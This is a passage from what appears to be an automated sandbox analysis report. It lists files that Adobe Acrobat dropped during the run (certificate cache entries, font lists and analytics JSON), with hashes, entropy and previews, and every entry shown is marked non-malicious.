SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.69034551715824
Encrypted:	false
SSDEEP:	3:kkFklMZlo/tfllXlE/HT8kwhllXNNX8RolJuRdxLlGB9lQRYwpDdt:kKVbo/eT8NJdNMa8RdWBwRd
MD5:	2611A7C388ABA71E1BC7E77D350B229F
SHA1:	43CD7B8D849D15AF17EF83F108BF177F7979A1B7
SHA-256:	0CC72824756FB275EE262EAAFBE3F2E12DE7EEF370C91D149DB41C788B84366E
SHA-512:	813A98797A6BE6C9DE41130CF676FFFDE3F019A7DE8810141B79F40C30D641AF58D836453099F0D2B597C792A5A33DB9811DC1B4DE85D6971A947A1573566CD9
Malicious:	false
Preview:	p...... ..........6..c..(....................................................... ..........W....2...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2223962575691445
Encrypted:	false
SSDEEP:	6:kK8hyL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:UhyiDImsLNkPlE99SNxAhUe/3
MD5:	989C08CEAF29BCA547D52A17D63DE9E5
SHA1:	F7D703188FD4E41E7F0D86DFE312C7754FA72BDC
SHA-256:	4431085BECD5F20D679CFAE0A61E002CFAC3999A8DBCF07FC72F88EDB006D317
SHA-512:	ACCDE3425DDA2CF90F52FA983C9D07D4038B08ACB87CDA587BCA6CB68F94D0FB2417695B105AF72906B654B48D62B43EB6BB62577492ED8E7C27A0D2A3CAF18D
Malicious:	false
Preview:	p...... ........i.v..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1816

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1816

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.37493092221079
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJM3g98kUwPeUkwRe9:YvXKXL7cO0cFZGMbLUkee9
MD5:	C2909347C09CD622453EF3F0F06711E8
SHA1:	AAA608D161702DFF84AAA8E026783571B23ABF28
SHA-256:	1481622E862918AEBA300746B557A7ED874C198C669F417AB71DA6245CEF6960
SHA-512:	8BD2B6C0AAF690CAC79671C382E56D26262DF96FF435541CA15821CEB7B823BCB26623FD4C641A06089AAF60D80DF1AFFD43859CEFA69409E0706C2E8006C578
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.327191508998114
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJfBoTfXpnrPeUkwRe9:YvXKXL7cO0cFZGWTfXcUkee9
MD5:	BF56C5431907AA0C5D9DF83631B7E8A5
SHA1:	26344D3145673B01B0FA0AE19C4BBEC5447A4C0F
SHA-256:	914A3F39E1B9803D65A5FC38930F0743E7B544CBB418C81C7A28BF39F08BEC81
SHA-512:	02FE95FA2B2DE1D44FA33F5491E0E41FD0CFCD71A84059D619CEA78B43721674786FFA080D63C3CA03334D53AF03DBE387EB712FFF53806F1A035A8C0F9F9D11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3061865443931895
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJfBD2G6UpnrPeUkwRe9:YvXKXL7cO0cFZGR22cUkee9
MD5:	20B6530212BF91B931EDC717F8828EC1
SHA1:	3840B4117CFCC002697A96360A1EB538C6250273
SHA-256:	B1DA5A3D0C7AB0E3C02057011BA910DEBBCF991D378E1D0207F0083BB36B2CDB
SHA-512:	2FAD4E546ECE4F7B3ABE1446F6F1A307832883E96ED7FC04BC78EB6CD08D41556E787D5D28C8982F1E9EFCC7E0C2EC0063E9D8BB2E4C7DA791E9E53550F7E68A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.355359376327134
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJfPmwrPeUkwRe9:YvXKXL7cO0cFZGH56Ukee9
MD5:	C49B5E66728B63A514C3929BDD7A2994
SHA1:	1010A43CC2DF8190DC5989D378E29DB5CCE33B19
SHA-256:	32538DB23BC643FC1872B330F01355DFA5FF3AF8B426B61E8C3B3F09D13475D8
SHA-512:	D6A40B8F03E174031C6462242B03D1DFE0179EF09D9625CE57A655DF2B3E0395752C2A37920665E000BAED7CA9F5AD2B81703A3C402B0B74F3B6F67F573BCDE7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69256612592322
Encrypted:	false
SSDEEP:	24:Yv6X/cOZopLgE9cQx8LennAvzBvkn0RCmK8czOCCSE:YvIAhgy6SAFv5Ah8cv/E
MD5:	668251CD9D637A107FBC3A0BD87BDE86
SHA1:	99311995E1AC5A40832B89D2577502E0F059C4FD
SHA-256:	5A86568D990DB85F146E126A0B3D88F634C3F37D5B0543B2D28F2E8DB23C3745
SHA-512:	63838D14EE98B0BF7AAF8BC65602894A2C83604485455AA31B8BD065DCFE34591161339AC2284286B4B09289F0194D29410225DFCB26311E7C33282EFC1038C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304690880776371
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJf8dPeUkwRe9:YvXKXL7cO0cFZGU8Ukee9
MD5:	9836F8AEA14FA1AA6725ADA4B3999BF5
SHA1:	C410FA60B4FDF8E989936210B344BC979E20ADD4
SHA-256:	E81850A2A90E1C42123BCED05B600DA0477DB3D3767F744F3B4652C143851D35
SHA-512:	32295CFA98B225CC75E1204AD3AB9C1EC62E4E302F1A9D0A9E0BFE5E99316ECC9FAC44E4A31A06DCB66A39623680B7348705D7B455CF61705BED0BDFD94432A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.30729493893862
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJfQ1rPeUkwRe9:YvXKXL7cO0cFZGY16Ukee9
MD5:	C0B2AC37828F779E03DBAD30FE5899F3
SHA1:	8AD1C503B25B3560CDBDF4A9B844687949CF6DE9
SHA-256:	5DC9069A1EA53E90D00BA44807833CCB23BA61CF9D6B4E4B85C2F634ADDFEE4F
SHA-512:	C393A7A97FED8C674A4477F27447AA03C94CD6004374CE6BB7F3F1CD7CF39B35013E9B208CAE5C3BD0174C0758917BB5D73676BC4F29D3560EC24851CDCC5863
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.314675381685173
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJfFldPeUkwRe9:YvXKXL7cO0cFZGz8Ukee9
MD5:	BFEF2096B42A38CBB9344F5CC669124E
SHA1:	25B173E115BB0C7392A823A727CF536E7F05C571
SHA-256:	894D0D25B9AA0CC1BC94DFF6574371099354ADB2B2E52DF3FD872FBAF5305E8B
SHA-512:	275F3E2CE315481ED05B78E7C638AD7FD216E2A14E4486BEB005FF529CA899C82ABBE1467A53FADE326F9F927DBF65792C5E5A1D74E42245469B087596DA3060
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.330782172375889
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJfzdPeUkwRe9:YvXKXL7cO0cFZGb8Ukee9
MD5:	4260B8D13AAFBFF50F6E227CC78A0086
SHA1:	FEF25471018B4FAA1E825C5CAEEE524664AE8485
SHA-256:	E0198AA86FFB6B8BF1E2050583E6773DD8F880DB63F1F483B7BE4BB9F815FC0D
SHA-512:	E8DF84E43F9860CB47E9211096E14A20B8333C79483CAF36504D7E0BF4EF29AAEB5E284DA083DE37E9FBFCB7231B55B3FDCC8CFBA0A8FFF77BD236CF639A28AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311662978501632
Encrypted:	false
